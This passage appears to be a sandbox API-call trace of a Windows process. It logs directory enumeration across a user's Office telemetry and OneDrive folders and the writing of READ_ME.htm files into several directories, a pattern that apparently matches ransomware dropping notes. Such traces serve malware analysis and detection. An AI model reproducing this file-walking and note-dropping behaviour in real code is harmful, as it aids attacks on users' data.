ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (1) - 1996 - excel.exe - OTele.dat", cAlternateFileName="{4DA01~4.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (1) - 1996 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{4DA01~3.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (0) - 1060 - winword.exe - OTele.dat", cAlternateFileName="{61793~2.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (0) - 1060 - winword.exe - OTeleMediumCost.dat", cAlternateFileName="{61793~1.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (1) - 1060 - winword.exe - OTele.dat", cAlternateFileName="{61793~4.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (1) - 1060 - winword.exe - OTeleMediumCost.dat", cAlternateFileName="{61793~3.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (0) - 1908 - excel.exe - OTele.dat", cAlternateFileName="{8136E~2.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (0) - 1908 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{8136E~1.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (1) - 1908 - excel.exe - OTele.dat", cAlternateFileName="{8136E~4.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (1) - 1908 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{8136E~3.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c910ae0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x1c910ae0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x1c910ae0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A7D1044D-57E2-45B6-8A93-CD389A77D3AC} (0) - 2256 - winword.exe - OTele.dat", cAlternateFileName="{A7D10~1.DAT")) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (0) - 1928 - excel.exe - OTele.dat", cAlternateFileName="{F9DB4~2.DAT")) returned 1 [0144.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (0) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~1.DAT")) returned 1 [0144.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTele.dat", cAlternateFileName="{F9DB4~4.DAT")) returned 1 [0144.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~3.DAT")) returned 1 [0144.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~3.DAT")) returned 0 [0144.734] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.735] SetErrorMode (uMode=0x0) returned 0x1 [0144.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0144.736] SetErrorMode (uMode=0x1) returned 0x0 [0144.736] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\otele\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.738] GetFileType (hFile=0x1d0) returned 0x1 [0144.738] SetErrorMode (uMode=0x0) returned 0x1 [0144.738] GetFileType (hFile=0x1d0) returned 0x1 [0144.738] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a08ff0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2a08ff0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0144.740] SetErrorMode (uMode=0x1) returned 0x0 [0144.740] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.741] GetFileType (hFile=0x1d0) returned 0x1 [0144.741] SetErrorMode (uMode=0x0) returned 0x1 [0144.741] GetFileType (hFile=0x1d0) returned 0x1 [0144.741] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0d5b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a0d5b0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive", lpFilePart=0x0) returned 0x33 [0144.743] SetErrorMode (uMode=0x1) returned 0x0 [0144.743] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.744] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.745] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.3.4604.0120", cAlternateFileName="173460~1.012")) returned 1 [0144.745] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26feb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9617010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x44aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.exe", cAlternateFileName="")) returned 1 [0144.745] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0144.745] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0144.745] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.745] SetErrorMode (uMode=0x0) returned 0x1 [0144.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive", lpFilePart=0x0) returned 0x33 [0144.746] SetErrorMode (uMode=0x1) returned 0x0 [0144.746] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.746] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.746] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.3.4604.0120", cAlternateFileName="173460~1.012")) returned 1 [0144.746] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26feb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9617010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x44aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.exe", cAlternateFileName="")) returned 1 [0144.747] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0144.747] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0144.747] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.747] SetErrorMode (uMode=0x0) returned 0x1 [0144.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120", lpFilePart=0x0) returned 0x42 [0144.747] SetErrorMode (uMode=0x1) returned 0x0 [0144.748] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.748] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am-et", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="as-in", cAlternateFileName="")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9212af0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9212af0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9212af0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x123c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayLogo.png", cAlternateFileName="AUTOPL~1.PNG")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9238c50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5d8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayOptIn.gif", cAlternateFileName="AUTOPL~1.GIF")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, 